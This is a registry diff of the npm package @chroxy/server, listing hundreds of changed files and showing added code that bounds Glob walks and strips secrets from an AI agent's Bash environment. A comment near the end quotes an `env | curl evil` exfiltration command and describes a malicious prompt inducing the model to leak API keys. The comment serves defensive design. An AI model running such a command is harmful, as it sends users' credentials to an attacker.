@chroxy/server 0.11.0 → 0.11.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (386) hide show
  1. package/CONFIG.md +206 -18
  2. package/README.md +2 -2
  3. package/hooks/claude-native-route-check.mjs +17 -0
  4. package/hooks/permission-hook.sh +166 -11
  5. package/package.json +16 -12
  6. package/sidecar/Dockerfile +1 -1
  7. package/sidecar/PROTOCOL.md +9 -1
  8. package/sidecar/agent.js +102 -10
  9. package/sidecar/package-lock.json +3 -3
  10. package/src/acp-config.js +206 -0
  11. package/src/acp-session.js +958 -0
  12. package/src/activity-registry.js +110 -5
  13. package/src/agent-connections.js +304 -0
  14. package/src/agent-control/client.js +1645 -0
  15. package/src/agent-control/events.js +551 -0
  16. package/src/agent-control/local-connection.js +293 -0
  17. package/src/agent-control/mcp-server.js +547 -0
  18. package/src/anthropic-compatible-config.js +30 -4
  19. package/src/anthropic-compatible-session.js +15 -6
  20. package/src/anthropic-gemini-shim.js +444 -0
  21. package/src/anthropic-gemini-translate.js +1030 -0
  22. package/src/anthropic-openai-shim.js +0 -1
  23. package/src/archive-continuation.js +164 -0
  24. package/src/assistant-response.js +24 -0
  25. package/src/auth-probes.js +120 -13
  26. package/src/background-shell-tracker.js +27 -0
  27. package/src/base-session.js +1520 -36
  28. package/src/bearer-recheck.js +49 -0
  29. package/src/billing-budget.js +19 -0
  30. package/src/billing-class.js +40 -7
  31. package/src/binary-provenance-trust.js +11 -5
  32. package/src/bound-client-policy.js +291 -0
  33. package/src/built-in-tools/bash-exec.js +46 -7
  34. package/src/built-in-tools/file-ops.js +69 -5
  35. package/src/built-in-tools/tool-transforms.js +1113 -13
  36. package/src/byok-compose-state.js +6 -9
  37. package/src/byok-credentials.js +2 -3
  38. package/src/byok-mcp-client.js +92 -7
  39. package/src/byok-mcp-config.js +633 -122
  40. package/src/byok-mcp-fleet.js +49 -7
  41. package/src/byok-mcp-oauth-store.js +18 -16
  42. package/src/byok-mcp-trust.js +37 -23
  43. package/src/byok-session.js +707 -179
  44. package/src/byok-tool-executor.js +2742 -26
  45. package/src/byok-tools.js +9 -2
  46. package/src/channels/chroxy-channel-server.js +2 -3
  47. package/src/checkpoint-manager.js +64 -46
  48. package/src/claude-channel-session.js +16 -10
  49. package/src/claude-model-catalog.js +131 -16
  50. package/src/claude-model-refresh.js +385 -0
  51. package/src/claude-model-request.js +103 -0
  52. package/src/claude-setting-sources.js +74 -0
  53. package/src/claude-stream-parser.js +53 -3
  54. package/src/claude-tui/diagnostic-tail.js +83 -0
  55. package/src/claude-tui/form-driver.js +44 -7
  56. package/src/claude-tui/model-error.js +41 -0
  57. package/src/claude-tui/pty-driver.js +215 -88
  58. package/src/claude-tui/sanitize-question-payload.js +109 -0
  59. package/src/claude-tui/usage-limit.js +239 -0
  60. package/src/claude-tui-session.js +3563 -284
  61. package/src/claude-tui-tool-response.js +300 -0
  62. package/src/cli/agent-cmd.js +236 -0
  63. package/src/cli/agent-control-cmd.js +65 -0
  64. package/src/cli/config-cmd.js +4 -4
  65. package/src/cli/config-dir-cmd.js +234 -0
  66. package/src/cli/connection-state.js +54 -0
  67. package/src/cli/deploy-cmd.js +45 -10
  68. package/src/cli/doctor-cmd.js +7 -3
  69. package/src/cli/freshness-cmd.js +53 -0
  70. package/src/cli/init-cmd.js +15 -16
  71. package/src/cli/pages-cmd.js +6 -4
  72. package/src/cli/pair-code-cmd.js +7 -6
  73. package/src/cli/pair-discord-cmd.js +7 -6
  74. package/src/cli/providers-cmd.js +3 -3
  75. package/src/cli/schedule-cmd.js +91 -40
  76. package/src/cli/server-cmd.js +54 -1
  77. package/src/cli/service-cmd.js +33 -10
  78. package/src/cli/session-cmd.js +227 -74
  79. package/src/cli/shared.js +162 -11
  80. package/src/cli/shell-cmd.js +7 -4
  81. package/src/cli/status-cmd.js +19 -5
  82. package/src/cli/tokens-cmd.js +4 -5
  83. package/src/cli/tunnel-cmd.js +255 -24
  84. package/src/cli/worktree-gc-cmd.js +2 -2
  85. package/src/cli-session.js +1250 -126
  86. package/src/cli.js +8 -0
  87. package/src/codex-app-server-client.js +36 -3
  88. package/src/codex-app-server-session.js +1517 -81
  89. package/src/codex-bundled-client.js +66 -0
  90. package/src/codex-error-text.js +114 -0
  91. package/src/codex-model-catalog.js +548 -0
  92. package/src/codex-model-rejections.js +87 -0
  93. package/src/codex-native-resume.js +104 -0
  94. package/src/codex-protocol-capabilities.js +188 -0
  95. package/src/codex-session.js +450 -27
  96. package/src/config-dir-migration.js +449 -0
  97. package/src/config-dir.js +108 -0
  98. package/src/config.js +306 -26
  99. package/src/connection-authority.js +48 -0
  100. package/src/connection-info.js +78 -23
  101. package/src/connection-locality.js +60 -0
  102. package/src/container-liveness-monitor.js +189 -0
  103. package/src/continuation-metadata-worker.js +17 -0
  104. package/src/continuations.js +227 -0
  105. package/src/control-room/host-prune.js +5 -0
  106. package/src/control-room/integrations.js +7 -20
  107. package/src/control-room/skills-inventory.js +2 -2
  108. package/src/conversation-scanner.js +42 -39
  109. package/src/conversation-scope.js +59 -39
  110. package/src/conversation-search.js +28 -39
  111. package/src/credential-store.js +23 -19
  112. package/src/daemon-commit.js +92 -0
  113. package/src/daemon-idle-state.js +171 -0
  114. package/src/daemon-update-status.js +314 -0
  115. package/src/dashboard-build.js +70 -0
  116. package/src/declared-status.js +90 -0
  117. package/src/deepseek-credentials.js +2 -3
  118. package/src/dev-preview.js +170 -182
  119. package/src/device-preferences.js +2 -2
  120. package/src/diff-parser.js +87 -0
  121. package/src/discord-credentials.js +2 -3
  122. package/src/docker-byok-pool.js +3 -1
  123. package/src/docker-byok-session.js +678 -78
  124. package/src/docker-image-allowlist.js +23 -1
  125. package/src/docker-sdk-session.js +172 -3
  126. package/src/docker-session.js +294 -11
  127. package/src/doctor.js +781 -64
  128. package/src/durable-write.js +35 -0
  129. package/src/edited-input.js +264 -0
  130. package/src/environment-manager.js +175 -36
  131. package/src/environments/authority.js +101 -0
  132. package/src/environments/backends/container-claude-spawn.js +94 -0
  133. package/src/environments/backends/docker.js +31 -10
  134. package/src/environments/backends/k8s.js +49 -24
  135. package/src/environments/destroy-with-sessions.js +142 -0
  136. package/src/event-ingest.js +118 -13
  137. package/src/event-normalizer.js +186 -235
  138. package/src/folder-trust-wire.js +137 -0
  139. package/src/folder-trust-worker.js +17 -0
  140. package/src/folder-trust.js +1572 -0
  141. package/src/freshness/activity-meter.js +101 -0
  142. package/src/freshness/adapter.js +199 -0
  143. package/src/freshness/checks.js +239 -0
  144. package/src/freshness/config.js +98 -0
  145. package/src/freshness/core.js +185 -0
  146. package/src/freshness/derive.js +680 -0
  147. package/src/freshness/exchange.js +305 -0
  148. package/src/freshness/file-ledger.js +400 -0
  149. package/src/freshness/grade.js +81 -0
  150. package/src/freshness/hash.js +45 -0
  151. package/src/freshness/inbox.js +163 -0
  152. package/src/freshness/index.js +20 -0
  153. package/src/freshness/investigation.js +474 -0
  154. package/src/freshness/keys.js +177 -0
  155. package/src/freshness/ledger.js +122 -0
  156. package/src/freshness/outbox.js +131 -0
  157. package/src/freshness/policy.js +599 -0
  158. package/src/freshness/queue.js +843 -0
  159. package/src/freshness/read-errors.js +23 -0
  160. package/src/freshness/render.js +153 -0
  161. package/src/freshness/runtime.js +113 -0
  162. package/src/freshness/session-registry-adapter.js +161 -0
  163. package/src/freshness/state-file-adapter.js +167 -0
  164. package/src/freshness-runner/build-info.js +139 -0
  165. package/src/freshness-runner/cli.js +105 -0
  166. package/src/freshness-runner/run-tick.js +109 -0
  167. package/src/freshness-runner/stamp.js +57 -0
  168. package/src/freshness-sources/claude-transcript-adapter.js +211 -0
  169. package/src/freshness-sources/codex-transcript-adapter.js +33 -0
  170. package/src/freshness-sources/index.js +8 -0
  171. package/src/gemini-byok-session.js +292 -0
  172. package/src/gemini-credentials.js +67 -0
  173. package/src/gemini-key-safety.js +246 -0
  174. package/src/gemini-models.js +386 -0
  175. package/src/gemini-session.js +81 -5
  176. package/src/handler-utils.js +540 -80
  177. package/src/handlers/checkpoint-handlers.js +47 -4
  178. package/src/handlers/control-room-handlers.js +51 -11
  179. package/src/handlers/conversation-handlers.js +469 -56
  180. package/src/handlers/daemon-update-handlers.js +81 -0
  181. package/src/handlers/evaluator-handlers.js +14 -1
  182. package/src/handlers/feature-handlers.js +186 -69
  183. package/src/handlers/file-handlers.js +57 -13
  184. package/src/handlers/folder-trust-handlers.js +90 -0
  185. package/src/handlers/input-handlers.js +714 -48
  186. package/src/handlers/orchestration-handlers.js +3 -3
  187. package/src/handlers/principal-admin-handlers.js +229 -0
  188. package/src/handlers/principal-handlers.js +262 -0
  189. package/src/handlers/scheduler-handlers.js +92 -18
  190. package/src/handlers/session-handlers.js +551 -20
  191. package/src/handlers/session-pr-status-handlers.js +283 -0
  192. package/src/handlers/session-pr-threads-handlers.js +247 -0
  193. package/src/handlers/settings-handlers.js +372 -50
  194. package/src/handlers/skills-handlers.js +20 -4
  195. package/src/handlers/summarize-handlers.js +32 -1
  196. package/src/handlers/survey-throttle.js +380 -0
  197. package/src/health-proof.js +40 -0
  198. package/src/history-page.js +112 -0
  199. package/src/http-routes.js +127 -8
  200. package/src/ide/search.js +24 -6
  201. package/src/ide/symbols.js +20 -6
  202. package/src/input-context.js +117 -0
  203. package/src/instruction-policy-compiler.js +229 -0
  204. package/src/instruction-policy.js +250 -0
  205. package/src/jsonl-reader.js +378 -91
  206. package/src/jsonl-subprocess-session.js +96 -9
  207. package/src/keychain.js +1 -1
  208. package/src/logger.js +166 -30
  209. package/src/mailbox-route.js +113 -22
  210. package/src/message-wire.js +386 -0
  211. package/src/model-discovery.js +43 -3
  212. package/src/models.js +1276 -174
  213. package/src/notification-prefs.js +27 -4
  214. package/src/notifications/discord-billing-sink.js +22 -5
  215. package/src/notifications/discord-ci-sink.js +243 -0
  216. package/src/notifications/discord-webhook-client.js +71 -0
  217. package/src/notifications/discord-webhook-sink.js +64 -23
  218. package/src/notifications/expo-push-sink.js +85 -6
  219. package/src/notifications/ready-body.js +16 -5
  220. package/src/ollama-session.js +34 -2
  221. package/src/orchestration/build-manager.js +9 -2
  222. package/src/orchestration/git-ops.js +41 -7
  223. package/src/orchestration/orchestration-manager.js +112 -36
  224. package/src/orchestration/permission-gate.js +17 -2
  225. package/src/orchestration/run-model.js +2 -1
  226. package/src/orchestration/run-record.js +11 -0
  227. package/src/orchestration/turn-driver.js +185 -43
  228. package/src/orphan-reaper.js +470 -0
  229. package/src/outgoing-policy.js +189 -0
  230. package/src/pairing.js +92 -13
  231. package/src/path-hash-trust-ledger.js +642 -25
  232. package/src/permission-deadlines.js +82 -0
  233. package/src/permission-floor.js +1410 -43
  234. package/src/permission-hook.js +180 -69
  235. package/src/permission-manager.js +737 -89
  236. package/src/permission-mode-support.js +35 -0
  237. package/src/permission-resolved-by.js +89 -0
  238. package/src/permission-resolver.js +126 -8
  239. package/src/permission-scope.js +43 -0
  240. package/src/platform.js +315 -47
  241. package/src/preview-ingress.js +54 -0
  242. package/src/preview-target.js +213 -0
  243. package/src/principal-audit.js +189 -0
  244. package/src/principal-binding.js +25 -0
  245. package/src/principal-brakes.js +21 -0
  246. package/src/principal-effect.js +101 -0
  247. package/src/principal-journal.js +905 -0
  248. package/src/principal-kill-switch.js +183 -0
  249. package/src/principal-label.js +5 -0
  250. package/src/principal-pending-permissions.js +177 -0
  251. package/src/principal-policy.js +1094 -0
  252. package/src/principal-sessions-snapshot.js +208 -0
  253. package/src/principal-store.js +488 -0
  254. package/src/principal-subscriptions.js +283 -0
  255. package/src/prompt-evaluator.js +34 -4
  256. package/src/provider-customization.js +180 -0
  257. package/src/providers.js +209 -4
  258. package/src/push.js +30 -4
  259. package/src/question-route-map.js +130 -0
  260. package/src/redaction.js +531 -20
  261. package/src/roster-broadcast.js +186 -0
  262. package/src/scheduled-task-store.js +330 -26
  263. package/src/scheduler.js +368 -11
  264. package/src/sdk-session.js +2114 -188
  265. package/src/server-cli/preview-shutdown.js +22 -0
  266. package/src/server-cli/push-notification-handler.js +17 -3
  267. package/src/server-cli/server-orchestrator.js +28 -5
  268. package/src/server-cli-child.js +33 -18
  269. package/src/server-cli.js +553 -38
  270. package/src/server-identity.js +15 -11
  271. package/src/service.js +396 -25
  272. package/src/session-archive-limits.js +15 -0
  273. package/src/session-archive.js +1029 -0
  274. package/src/session-busy-state.js +72 -0
  275. package/src/session-ci-watcher.js +1099 -0
  276. package/src/session-context.js +7 -2
  277. package/src/session-manager.js +4062 -312
  278. package/src/session-message-history.js +841 -16
  279. package/src/session-name-allocator.js +685 -0
  280. package/src/session-pr-status.js +654 -0
  281. package/src/session-pr-threads.js +271 -0
  282. package/src/session-preset-trust.js +3 -3
  283. package/src/session-preset.js +10 -5
  284. package/src/session-state-persistence.js +94 -17
  285. package/src/session-timeout-manager.js +20 -0
  286. package/src/session-token-store.js +17 -8
  287. package/src/session-wake.js +240 -0
  288. package/src/shell-approval-info.js +2 -2
  289. package/src/shell-approval-store.js +3 -1
  290. package/src/skills-loader.js +7 -4
  291. package/src/skills-manager.js +2 -2
  292. package/src/skills-trust.js +95 -13
  293. package/src/skills-usage.js +2 -3
  294. package/src/snapshots-store.js +2 -3
  295. package/src/statusline.js +100 -29
  296. package/src/summarize-session.js +53 -4
  297. package/src/supervisor.js +22 -11
  298. package/src/sweep-stale-provider-dirs.js +95 -0
  299. package/src/thinking-level-wire.js +39 -0
  300. package/src/thinking-stream.js +179 -0
  301. package/src/tool-result.js +61 -0
  302. package/src/transcript-sources.js +109 -0
  303. package/src/transcript-tasks.js +372 -25
  304. package/src/trusted-file-read.js +302 -0
  305. package/src/tunnel/base.js +0 -8
  306. package/src/tunnel/cloudflare.js +34 -31
  307. package/src/tunnel/index.js +9 -0
  308. package/src/tunnel/preview.js +64 -0
  309. package/src/turn-outcome.js +140 -0
  310. package/src/usage-normalize.js +9 -5
  311. package/src/user-shell-session.js +59 -5
  312. package/src/utils/agent-sdk-version.js +107 -0
  313. package/src/utils/argv-safety.js +770 -0
  314. package/src/utils/auth-cause.js +60 -0
  315. package/src/utils/binary-package-manifest.js +639 -0
  316. package/src/utils/binary-version.js +224 -0
  317. package/src/utils/bounded-regex-worker.js +29 -0
  318. package/src/utils/bounded-regex.js +162 -0
  319. package/src/utils/claude-binary.js +43 -0
  320. package/src/utils/claude-config-dir.js +245 -0
  321. package/src/utils/claude-login-command.js +16 -0
  322. package/src/utils/claude-native-route.js +81 -0
  323. package/src/utils/componentwise-resolver.js +133 -37
  324. package/src/utils/deploy-control-files.js +87 -0
  325. package/src/utils/exec-failure-reason.js +21 -0
  326. package/src/utils/git-repo.js +42 -0
  327. package/src/utils/is-entry-point.js +137 -0
  328. package/src/utils/node-pty-probe.js +95 -0
  329. package/src/utils/node-pty-support.js +118 -0
  330. package/src/utils/opened-file-path.js +167 -0
  331. package/src/utils/path-containment.js +165 -0
  332. package/src/utils/permission-mode-sidecar.js +51 -0
  333. package/src/utils/pid-liveness.js +47 -0
  334. package/src/utils/preflight.js +360 -16
  335. package/src/utils/read-limiter.js +217 -0
  336. package/src/utils/regular-file.js +375 -0
  337. package/src/utils/safe-regex.js +113 -0
  338. package/src/utils/small-file.js +129 -0
  339. package/src/utils/spawn-env.js +189 -4
  340. package/src/utils/stale-session-dirs.js +182 -0
  341. package/src/utils/stat-identity.js +43 -0
  342. package/src/utils/verify-provenance.js +406 -13
  343. package/src/web-task-manager.js +297 -16
  344. package/src/worktree-gc.js +202 -6
  345. package/src/ws-auth.js +163 -31
  346. package/src/ws-broadcaster.js +49 -5
  347. package/src/ws-client-manager.js +24 -1
  348. package/src/ws-client-sender.js +7 -0
  349. package/src/ws-file-ops/browser.js +363 -58
  350. package/src/ws-file-ops/common.js +320 -14
  351. package/src/ws-file-ops/git.js +395 -42
  352. package/src/ws-file-ops/index.js +2 -0
  353. package/src/ws-file-ops/memory.js +137 -35
  354. package/src/ws-file-ops/open-nofollow.js +354 -0
  355. package/src/ws-file-ops/reader.js +571 -113
  356. package/src/ws-forwarding.js +349 -39
  357. package/src/ws-handler-context.js +88 -2
  358. package/src/ws-history.js +1010 -175
  359. package/src/ws-message-handlers.js +25 -1
  360. package/src/ws-permissions.js +307 -37
  361. package/src/ws-schemas.js +5 -0
  362. package/src/ws-server.js +885 -98
  363. package/sidecar/node_modules/.package-lock.json +0 -29
  364. package/sidecar/node_modules/ws/LICENSE +0 -20
  365. package/sidecar/node_modules/ws/README.md +0 -548
  366. package/sidecar/node_modules/ws/browser.js +0 -8
  367. package/sidecar/node_modules/ws/index.js +0 -22
  368. package/sidecar/node_modules/ws/lib/buffer-util.js +0 -131
  369. package/sidecar/node_modules/ws/lib/constants.js +0 -19
  370. package/sidecar/node_modules/ws/lib/event-target.js +0 -292
  371. package/sidecar/node_modules/ws/lib/extension.js +0 -203
  372. package/sidecar/node_modules/ws/lib/limiter.js +0 -55
  373. package/sidecar/node_modules/ws/lib/permessage-deflate.js +0 -528
  374. package/sidecar/node_modules/ws/lib/receiver.js +0 -706
  375. package/sidecar/node_modules/ws/lib/sender.js +0 -602
  376. package/sidecar/node_modules/ws/lib/stream.js +0 -161
  377. package/sidecar/node_modules/ws/lib/subprotocol.js +0 -62
  378. package/sidecar/node_modules/ws/lib/validation.js +0 -152
  379. package/sidecar/node_modules/ws/lib/websocket-server.js +0 -554
  380. package/sidecar/node_modules/ws/lib/websocket.js +0 -1393
  381. package/sidecar/node_modules/ws/package.json +0 -70
  382. package/sidecar/node_modules/ws/wrapper.mjs +0 -21
  383. package/src/dashboard-next/dist/assets/index-C2ipeGlq.js +0 -111
  384. package/src/dashboard-next/dist/assets/index-DM-_dISG.css +0 -1
  385. package/src/dashboard-next/dist/index.html +0 -13
  386. package/src/dashboard-next/node_modules/.vite/vitest/da39a3ee5e6b4b0d3255bfef95601890afd80709/results.json +0 -1
@@ -18,18 +18,31 @@
18
18
  * audit).
19
19
  */
20
20
 
21
+ import { join, resolve } from 'node:path'
22
+ import { opendir, lstat, realpath, readlink } from 'node:fs/promises'
23
+ import { constants as fsConstants } from 'node:fs'
24
+ import { createLogger } from './logger.js'
21
25
  import { isIP } from 'node:net'
22
26
  import { lookup as dnsLookup } from 'node:dns/promises'
23
- import { validateRawPathWithinCwd } from './ws-file-ops/common.js'
27
+ import { validateRawPathWithinCwd, resolveSessionCwd } from './ws-file-ops/common.js'
28
+ import { isPathWithin } from './utils/path-containment.js'
29
+ import { openNoFollow } from './ws-file-ops/open-nofollow.js'
24
30
  import { executeBash, DEFAULT_BASH_TIMEOUT_MS } from './built-in-tools/bash-exec.js'
25
31
  import { readFileTool, writeFileTool, editFileTool } from './built-in-tools/file-ops.js'
26
32
  import {
27
33
  GLOB_PATTERN_SHELL_METACHARS,
28
- buildGlobCommand,
34
+ globPatternEscapeReason,
35
+ globPatternEscapeMessage,
36
+ globPatternComplexityReason,
37
+ globPatternComplexityMessage,
38
+ GLOB_PATTERN_MAX_BRACE_DEPTH,
29
39
  buildGrepArgs,
30
40
  buildGrepCommand,
41
+ splitGrepNotes,
42
+ formatWriteConfirmation,
31
43
  } from './built-in-tools/tool-transforms.js'
32
44
  import { TODO_STATUSES, BUILTIN_TOOL_NAMES } from './byok-tools.js'
45
+ import { CHROXY_SECRET_DENYLIST, stripInheritedChroxySecrets, stripParentClaudeSessionEnv } from './utils/spawn-env.js'
33
46
  // #4186: SSRF block-list lives in its own module so the (ip, expected)
34
47
  // table can grow without bloating this file's WebFetch integration tests.
35
48
  // The exported helpers retain the same names as the original locals so
@@ -44,12 +57,234 @@ import { isPrivateOrSpecialIp } from './ssrf-guard.js'
44
57
  */
45
58
  const BASH_TIMEOUT_CEILING_MS = 600_000
46
59
 
60
+ /**
61
+ * Two bounds, because they do different jobs.
62
+ *
63
+ * `GLOB_COLLECT_CEILING` is the memory backstop on the walk. `GLOB_MAX_MATCHES`
64
+ * is how many paths the model is shown. Collecting more than we return is what
65
+ * makes truncation a SORTED PREFIX rather than an arbitrary subset — and that
66
+ * distinction was a real defect, not a nicety: with a single 10 000 cap on an
67
+ * unsorted traversal, `Glob **\/*.ts` over a 20 000-file tree returned 10 000
68
+ * paths, `isError: false`, no marker, and `d00`–`d09` — half the tree, the
69
+ * alphabetically-first half — simply absent. A model would conclude those
70
+ * directories contain no TypeScript.
71
+ */
72
+ const GLOB_COLLECT_CEILING = 50_000
73
+ const GLOB_MAX_MATCHES = 10_000
74
+
75
+ /**
76
+ * #7901 — a second, independent bound on the self-implemented walk, distinct
77
+ * from `GLOB_COLLECT_CEILING` (which bounds MATCHES) and from the wall-clock
78
+ * deadline below (the primary defense — see `walkGlob`'s doc). This bounds
79
+ * total filesystem ENTRIES visited regardless of how many matched, closing
80
+ * the gap where a pattern matches almost nothing across an enormous tree (the
81
+ * exact shape #7356 measured: 200,000 files, near-zero matches) — the collect
82
+ * ceiling never engages there, and on a fast disk the walk could visit many
83
+ * millions of entries before the 30s deadline fires. 2,000,000 is far above
84
+ * any tree this test suite or a real workspace plausibly has (the largest
85
+ * fixture in this file is 15,000 files); it exists as a backstop, not the
86
+ * primary bound.
87
+ *
88
+ * Read per call and overridable via `CHROXY_GLOB_MAX_ENTRIES`, the same shape
89
+ * as `globTimeoutMs`/`CHROXY_GLOB_TIMEOUT_MS` just below — for the same
90
+ * reason: a guard nothing can lower to a testable size is a guard nobody
91
+ * proved fires (docs/false-safety-guards.md). An empty or unparseable value
92
+ * falls back to the 2,000,000 default rather than disabling the bound.
93
+ */
94
+ const GLOB_MAX_ENTRIES_VISITED_DEFAULT = 2_000_000
95
+ function globMaxEntriesVisited() {
96
+ const raw = (process.env.CHROXY_GLOB_MAX_ENTRIES || '').trim()
97
+ if (!/^\d+$/.test(raw)) return GLOB_MAX_ENTRIES_VISITED_DEFAULT
98
+ const n = Number(raw)
99
+ return n > 0 ? n : GLOB_MAX_ENTRIES_VISITED_DEFAULT
100
+ }
101
+
102
+ /**
103
+ * Wall-clock bound on a Glob walk. Matches the 30s `executeBash` timeout the
104
+ * shell implementation had — dropping the subprocess dropped its kill, and
105
+ * `fs.glob` honours no AbortSignal of its own.
106
+ *
107
+ * Read per call, not at module load, and overridable via
108
+ * `CHROXY_GLOB_TIMEOUT_MS`. That knob is what lets the timeout be PROVEN: a
109
+ * test asserting a 30s bound by waiting 30s does not get written, and a test
110
+ * that only checks the happy path is a guard whose success and whose absence
111
+ * look identical (docs/false-safety-guards.md). A very large monorepo wanting
112
+ * a longer budget is the secondary use.
113
+ */
114
+ const GLOB_TIMEOUT_DEFAULT_MS = 30_000
115
+ function globTimeoutMs() {
116
+ // Trim and require a NON-EMPTY, strictly positive integer, matching every
117
+ // other env-timeout parser in this package (config.js, prompt-evaluator.js,
118
+ // claude-tui-session.js). The first cut used `Number(raw) >= 0`, and
119
+ // `Number('') === 0`: an exported-but-empty `CHROXY_GLOB_TIMEOUT_MS=` — what
120
+ // a bare `.env` line and `docker run -e VAR` both produce — gave every Glob
121
+ // call a 0 ms budget and disabled the tool outright, with nothing pointing at
122
+ // the cause. The knob exists to make the timeout testable; it must not be a
123
+ // way to switch Glob off by accident.
124
+ const raw = (process.env.CHROXY_GLOB_TIMEOUT_MS || '').trim()
125
+ if (!/^\d+$/.test(raw)) return GLOB_TIMEOUT_DEFAULT_MS
126
+ const n = Number(raw)
127
+ return n > 0 ? n : GLOB_TIMEOUT_DEFAULT_MS
128
+ }
129
+
130
+ const log = createLogger('byok-tool-executor')
131
+
132
+ /**
133
+ * #7356 — a cap on how many Glob walks run at once, DAEMON-WIDE.
134
+ *
135
+ * `byok-session.js` fans every approved tool block in one model turn through
136
+ * `Promise.all`, so one turn can start N walks, and the daemon shares a
137
+ * 4-thread libuv pool with every Read, permission-floor lstat walk and
138
+ * dashboard file op. Measured on #7356: 8 concurrent walks of the real
139
+ * checkout took RSS from 126 to 691 MB. Cancelling a walk at its deadline
140
+ * (`walkGlob`) bounds how long each one lives; this bounds how many live at
141
+ * once. Walks past the cap queue FIFO and are NOT lost: they start the moment
142
+ * a slot frees, and a Glob call's own deadline / abort covers its time in the
143
+ * queue too (a queued call that times out never starts a walk at all).
144
+ *
145
+ * Module-level on purpose: sessions are separate objects but the libuv pool
146
+ * and the heap are shared. Read per call and overridable via
147
+ * `CHROXY_GLOB_MAX_CONCURRENT`, same shape as the other Glob knobs, so the
148
+ * bound can be proven at a testable size. An empty or unparseable value falls
149
+ * back to the default rather than lifting the bound.
150
+ */
151
+ const GLOB_MAX_CONCURRENT_DEFAULT = 2
152
+ function globMaxConcurrent() {
153
+ const raw = (process.env.CHROXY_GLOB_MAX_CONCURRENT || '').trim()
154
+ if (!/^\d+$/.test(raw)) return GLOB_MAX_CONCURRENT_DEFAULT
155
+ const n = Number(raw)
156
+ return n > 0 ? n : GLOB_MAX_CONCURRENT_DEFAULT
157
+ }
158
+ const globWalkSlots = { active: 0, queue: [], capSince: null, lastWarnAt: null, lastLimit: Infinity }
159
+
160
+ // Test-only: awaited inside a walk right after it starts, so a test can park a
161
+ // started walk deterministically (no timing race against a real directory walk).
162
+ let globWalkStartHook = null
163
+ function __setGlobWalkStartHookForTest(fn) {
164
+ globWalkStartHook = fn || null
165
+ }
166
+
167
+ // #8349 — the limiter's clock, injectable so the stuck-at-cap check is proven
168
+ // without waiting real deadlines. null restores Date.now.
169
+ let globLimiterNow = Date.now
170
+ function __setGlobLimiterClockForTest(fn) {
171
+ globLimiterNow = fn || Date.now
172
+ }
173
+
174
+ // Track how long the limiter has sat at its cap with no slot handed back. A
175
+ // release is progress, so it clears the clock; the pump (or a grant) that
176
+ // refills the cap restarts it.
177
+ function noteGlobCapState(limit) {
178
+ if (globWalkSlots.active >= limit) {
179
+ if (globWalkSlots.capSince === null) globWalkSlots.capSince = globLimiterNow()
180
+ } else {
181
+ globWalkSlots.capSince = null
182
+ }
183
+ }
184
+
185
+ /**
186
+ * #8349 — a walk stuck inside an awaited opendir/readdir (hung mount, FUSE)
187
+ * never sees `state.stop`, so its slot is never returned and the cap turns one
188
+ * hung call into a daemon-wide Glob outage. Log one warning when the limiter
189
+ * has been full, with no slot released, for more than a few deadlines, and at
190
+ * most once per that interval. Returns whether it warned. It is only evaluated
191
+ * when a queued Glob times out, so a stuck cap with no further Glob calls is
192
+ * silent (no timer polls it). The slot is NOT
193
+ * force-released: the hung walk still holds a directory handle and a libuv
194
+ * pool thread, so freeing its slot would let new walks oversubscribe exactly
195
+ * the resource the cap protects.
196
+ */
197
+ const GLOB_STUCK_DEADLINE_MULTIPLE = 3
198
+ function warnIfGlobWalksStuck(deadlineMs, warn = (m) => log.warn(m)) {
199
+ const { capSince, active } = globWalkSlots
200
+ if (capSince === null) return false
201
+ const now = globLimiterNow()
202
+ const threshold = GLOB_STUCK_DEADLINE_MULTIPLE * deadlineMs
203
+ if (now - capSince <= threshold) return false
204
+ if (globWalkSlots.lastWarnAt !== null && now - globWalkSlots.lastWarnAt <= threshold) return false
205
+ globWalkSlots.lastWarnAt = now
206
+ warn(`${active} Glob walks have held every walk slot for ${Math.round((now - capSince) / 1000)}s without returning; ` +
207
+ 'later Globs will time out waiting for a slot until one returns (a hung mount or blocked device?)')
208
+ return true
209
+ }
210
+
211
+ function pumpGlobWalkSlots() {
212
+ while (globWalkSlots.queue.length > 0 && globWalkSlots.active < globWalkSlots.queue[0].limit) {
213
+ const waiter = globWalkSlots.queue.shift()
214
+ globWalkSlots.active++
215
+ waiter.resolve(makeGlobSlotRelease())
216
+ }
217
+ // Unconditional: a release followed by a grant that refills the cap with an
218
+ // empty queue must restart the stuck clock too.
219
+ noteGlobCapState(globWalkSlots.lastLimit)
220
+ }
221
+
222
+ function makeGlobSlotRelease() {
223
+ let released = false
224
+ return () => {
225
+ if (released) return
226
+ released = true
227
+ globWalkSlots.active--
228
+ globWalkSlots.capSince = null // a slot came back: progress, and the next stuck episode warns afresh
229
+ globWalkSlots.lastWarnAt = null
230
+ pumpGlobWalkSlots()
231
+ }
232
+ }
233
+
234
+ /**
235
+ * Take a walk slot. `granted` resolves to a `release()` function once a slot
236
+ * is free, or to `null` if `cancel()` removed this request from the queue
237
+ * first. `cancel()` is a no-op once the slot has been granted (the walk then
238
+ * observes `state.stop` itself and releases in its own `finally`).
239
+ */
240
+ function acquireGlobWalkSlot(limit) {
241
+ globWalkSlots.lastLimit = limit
242
+ let waiter = null
243
+ const granted = new Promise((resolve) => {
244
+ if (globWalkSlots.active < limit) {
245
+ globWalkSlots.active++
246
+ noteGlobCapState(limit)
247
+ resolve(makeGlobSlotRelease())
248
+ return
249
+ }
250
+ noteGlobCapState(limit)
251
+ waiter = { limit, resolve }
252
+ globWalkSlots.queue.push(waiter)
253
+ })
254
+ return {
255
+ granted,
256
+ cancel() {
257
+ if (!waiter) return
258
+ const i = globWalkSlots.queue.indexOf(waiter)
259
+ if (i === -1) return
260
+ globWalkSlots.queue.splice(i, 1)
261
+ waiter.resolve(null)
262
+ },
263
+ }
264
+ }
265
+
266
+ /** Test/diagnostic view of the walk limiter: slots in use and requests queued. */
267
+ function globWalkSlotStats() {
268
+ return { active: globWalkSlots.active, queued: globWalkSlots.queue.length }
269
+ }
270
+
47
271
  /**
48
272
  * Env vars the model must NEVER see in a Bash subprocess. Centrally
49
273
  * the BYOK API key — if a malicious prompt induces the model to run
50
274
  * `env | curl evil`, the model exfiltrates the user's API credentials
51
- * (caught by /agent-review on PR #4060 — see #4069). Plus chroxy's
52
- * own per-session secrets that are scoped to the WS auth surface.
275
+ * (caught by /agent-review on PR #4060 — see #4069).
276
+ *
277
+ * This is the BYOK PROVIDER'S OWN credential denylist only — the model's own
278
